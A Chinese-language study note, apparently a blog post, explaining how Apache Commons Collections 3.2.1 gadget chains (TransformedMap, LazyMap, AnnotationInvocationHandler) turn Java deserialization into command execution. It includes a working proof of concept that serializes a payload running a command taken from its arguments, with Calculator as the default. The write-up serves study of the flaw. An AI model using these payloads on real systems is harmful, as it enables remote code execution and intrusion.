JAVA反序列化漏洞知识点整理

jenkins反序列漏洞跟过一遍之后,虽说梳理清楚了漏洞触发的大体流程,但是对于JAVA反序列化漏洞导致代码执行的原理仍旧不懂,因此有必要整理JAVA反序列化漏洞相关的知识点。

JAVA反序列化漏洞

反序列化漏洞的本质是反序列化机制打破了数据和对象的边界,导致攻击者注入的恶意序列化数据在反序列化过程中被还原成对象,控制了对象就可能在目标系统上面执行攻击代码,而不可信的输入和未检测反序列化对象的安全性是导致反序列化漏洞的常见原因。Java序列化常应用于RMI(Java Remote Method Invocatio, 远程方法调用), JMX(Java Management Extensions, Java管理扩展), JMS(Java Message Service, Java消息服务) 技术中。

利用Apache Commons Collections实现远程代码执行

Apache Commons Collections作为一种公用库,其中实现的一些类可以被反序列化用来实现任意代码执行。这里以以Apache Commons Collections 3.2.1为例,解释如何构造对象,能够让程序在反序列化,即调用readObject()时,就能直接实现任意代码执行。

利用反射机制执行任意代码

国外研究人员发现InvokerTransformer类中的transform()方法允许通过反射, 执行参数对象的某个方法,并返回执行结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class InvokerTransformer implements Transformer, Serializable {
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if(input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}

可以看到,通过transform()方法里的反射,成功调用了StringBuffer类的append()方法并返回结果。

调用transform()方法

接下来就是要找到某种类,会自动调用InvokerTransformer类中的transform()方法,构造代码执行。明显调用transform()方法有以下两个类:

  • TransformedMap
  • LazyMap

TransformedMap

Apache Commons Collections中实现TransformedMap类,用来对Map进行某种变换,只要调用其decorate()方法,传入key和value的变换对象Transformer,即可从任意Map对象生成相应的TransformedMapdecorate()方法如下:

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

Transformer是一个接口,其中定义的transform()方法用来将一个对象转换成另一个对象。如下所示:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

而前面提到的InvokerTransformer类实现了Transformer接口,因此这里就找到了调用InvokerTransformertransform()方法的途径。那么,现在需要知道的是触发TransformedMap类调用Transformer的条件是什么?

commons-collections 3.2.2指出当执行Map类的put()方法或MapEntry类的setValue()方法会自动调用Transformer。另外多个Transformer还能串起来,形成ChainedTransformer

从图中可以看出调用Map类的put()方法会自动调用InvokerTransformer类的transform()方法。

LazyMap

LazyMap实现了Map接口,其中的get(Object)方法调用了transform()方法,跟进函数进去

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

这里可以看到,在调用transform()方法之前会先判断当前Map中是否已经有该key,如果没有最终会由这里的factory.transform()进行处理,跟踪facory变量找到decorate()方法。

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

这里的decorate()方法会对factory进行初始化,同时实例化一个LazyMap,为了能成功调用transform()方法,找到了LazyMap,发现在get()方法中调用了transform()方法,那么现在漏洞利用的核心条件就是去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法。

突破限制条件

TransformedMap

虽然找到了自动调用InvokerTransformer类的transform()方法的途径,但是需要满足其触发条件:执行Map类的put()方法或MapEntry类的setValue()方法。显然这种方式还不够优雅,最佳条件是反序列化(调用readObject()方法)时就自动调用InvokerTransformer类的transform()方法导致代码执行。

java运行库中的AnnotationInvocationHandler类, 有一个成员变量memberValuesMap类型,而且readObject()方法中对memberValues的每一项调用了setValue()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();


// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一系列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

因此,我们只需要用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列化的时候,就能实现命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

/**
* Created by js on 2017/5/6.
*/
public class Test {
public static void main(String[] args) throws Exception {
/*
* Runtime.getRuntime().exec("open /Applications/Calculator.app");
*/
String command = (args.length != 0) ? args[0] : "/bin/sh,-c,open /Applications/Calculator.app";
String[] execArgs = command.split(",");
Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[] {String[].class},
new Object[] {execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
// tempMap 不能为空
tempMap.put("hack", "you");
Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, exMap);

File f = new File("payload1");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(instance);
oos.flush();
oos.close();

ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
}
}

这段恶意代码本质上就是利用反射调用Runtime() 执行了一段系统命令,作用等同于:

1
((Runtime) Runtime.class.getMethod("getRuntime", null).invoke(null, null)).exec("/bin/sh -c open /Applications/Calculator.app")

当然,反序列化时自动执行任意代码还有其他方式,具体可以分析ysoserial源码,这里就不一一叙述。采用AnnotationInvocationHandler类也是有条件限制的,是否能成功利用与JDK的版本有关, http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

AnnotationInvocationHandler类移除了对memberValue.setValue()的调用,因此也就不能用AnnotationInvocationHandler+TransformedMap来构造POP链了。

LazyMap

AnnotationInvocationHandler构造函数初始化lLazyMap对象, 只需要找到一个memberValues.get(Object)的方法即可触发该漏洞,可惜的是readObject()方法里面并没有这个方法. 在invoke()方法中memberValues.get(Object)被调用了,如下:

AnnotationInvocationHandler类实现了InvocationHandler接口,所以它可以代理其他对象。这里利用这个特点,代理一个Map对象,得到mapProxy代理对象。然后,将mapProxy赋值到AnnotationInvocationHandler类中,当其调用mapProxy方法时,便可以触发invoke()方法。然后,便可以执行transform链。

核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer transformerChain = new ChainedTransformer(transforms);
Map tempMap = new HashMap();
Map lazyMap = LazyMap.decorate(tempMap, transformerChain);

String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);

InvocationHandler firstInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Proxy evilProxy = (Proxy) Proxy.newProxyInstance(Test.class.getClassLoader(), new Class[] {Map.class}, firstInvocationHandler );

InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);

File f = new File("expLazyMap.payload");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(invocationHandlerToSerialize);
oos.flush();
oos.close();

参考